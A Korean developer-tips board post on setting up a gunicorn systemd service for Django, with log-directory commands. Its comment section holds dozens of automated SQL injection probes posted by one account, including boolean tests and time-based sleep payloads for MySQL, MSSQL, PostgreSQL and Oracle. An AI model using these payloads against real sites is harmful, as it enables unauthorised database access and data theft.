회원가입

Django gunicorn daemon 설정

Beany 2024-09-01

 systemd 서비스 유닛 파일 생성

sudo vi /etc/systemd/system/gunicorn.service

 

gunicorn 데몬 설정

[Unit]
Description=gunicorn daemon for Django
After=network.target

[Service]
User=django
Group=www-data
WorkingDirectory=/var/www/프로젝트이름
Environment="DJANGO_SETTINGS_MODULE=config.settings.production"
ExecStart=/var/www/프로젝트이름/venv/bin/gunicorn --workers=3 --bind 0.0.0.0:8000 \
  --access-logfile /var/log/gunicorn/access.log \
  --error-logfile /var/log/gunicorn/error.log \
  config.wsgi:application

[Install]
WantedBy=multi-user.target

 

로그 폴더 만들기

sudo mkdir -p /var/log/gunicorn
sudo chown django:www-data /var/log/gunicorn
sudo chmod 755 /var/log/gunicorn

 

이후 systemd 서비스를 다시 로드하고 시작할 수 있습니다

sudo systemctl daemon-reload
sudo systemctl start gunicorn
sudo systemctl enable gunicorn

 

0 0
fnfOzvSR
fnfOzvSR
555
2025-12-14
fnfOzvSR
fnfOzvSR
555
2025-12-14
fnfOzvSR
fnfOzvSR
555
2025-12-14
fnfOzvSR
fnfOzvSR
555
2025-12-14
fnfOzvSR
fnfOzvSR
555
2025-12-14
fnfOzvSR
fnfOzvSR
555
2025-12-14
fnfOzvSR
fnfOzvSR
555
2025-12-14
fnfOzvSR
fnfOzvSR
555YuON2ERN
2025-12-14
fnfOzvSR
fnfOzvSR
555
2025-12-14
fnfOzvSR
fnfOzvSR
-1 OR 2+634-634-1=0+0+0+1 --
2025-12-14
fnfOzvSR
fnfOzvSR
-1 OR 2+94-94-1=0+0+0+1
2025-12-14
fnfOzvSR
fnfOzvSR
-1' OR 2+157-157-1=0+0+0+1 --
2025-12-14
fnfOzvSR
fnfOzvSR
-1' OR 2+136-136-1=0+0+0+1 or '7z1ycK0B'='
2025-12-14
fnfOzvSR
fnfOzvSR
-1" OR 2+893-893-1=0+0+0+1 --
2025-12-14
fnfOzvSR
fnfOzvSR
555*if(now()=sysdate(),sleep(15),0)
2025-12-14
fnfOzvSR
fnfOzvSR
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
2025-12-14
fnfOzvSR
fnfOzvSR
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
2025-12-14
fnfOzvSR
fnfOzvSR
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
2025-12-14
fnfOzvSR
fnfOzvSR
555-1; waitfor delay '0:0:15' --
2025-12-14
fnfOzvSR
fnfOzvSR
555-1); waitfor delay '0:0:15' --
2025-12-14
fnfOzvSR
fnfOzvSR
555-1 waitfor delay '0:0:15' --
2025-12-14
fnfOzvSR
fnfOzvSR
555peR5uocX'; waitfor delay '0:0:15' --
2025-12-14
fnfOzvSR
fnfOzvSR
555-1 OR 342=(SELECT 342 FROM PG_SLEEP(15))--
2025-12-14
fnfOzvSR
fnfOzvSR
555-1) OR 342=(SELECT 342 FROM PG_SLEEP(15))--
2025-12-14
fnfOzvSR
fnfOzvSR
555-1)) OR 646=(SELECT 646 FROM PG_SLEEP(15))--
2025-12-14
fnfOzvSR
fnfOzvSR
555hvMpTlp7' OR 533=(SELECT 533 FROM PG_SLEEP(15))--
2025-12-14
fnfOzvSR
fnfOzvSR
555x6XllzeQ') OR 349=(SELECT 349 FROM PG_SLEEP(15))--
2025-12-14
fnfOzvSR
fnfOzvSR
555fdnwzSXE')) OR 607=(SELECT 607 FROM PG_SLEEP(15))--
2025-12-14
fnfOzvSR
fnfOzvSR
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
2025-12-14
fnfOzvSR
fnfOzvSR
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
2025-12-14
fnfOzvSR
fnfOzvSR
555
2025-12-14
fnfOzvSR
fnfOzvSR
555'"
2025-12-14
fnfOzvSR
fnfOzvSR
555����%2527%2522\'\"
2025-12-14
fnfOzvSR
fnfOzvSR
@@tJyAQ
2025-12-14
꿀팁-개발
개발 중에 발견한 다양한 꿀팁들을 모아 두어, 미래의 나 또는 다른 개발자가 이 글을 통해 유용한 정보를 얻을 수 있는 게시글들이 모여 있는 게시판. 효율적이고 창의적인 개발을 지원하는 소중한 자료들이 모여 있는 공간입니다.
Yesterday: 308
Today: 235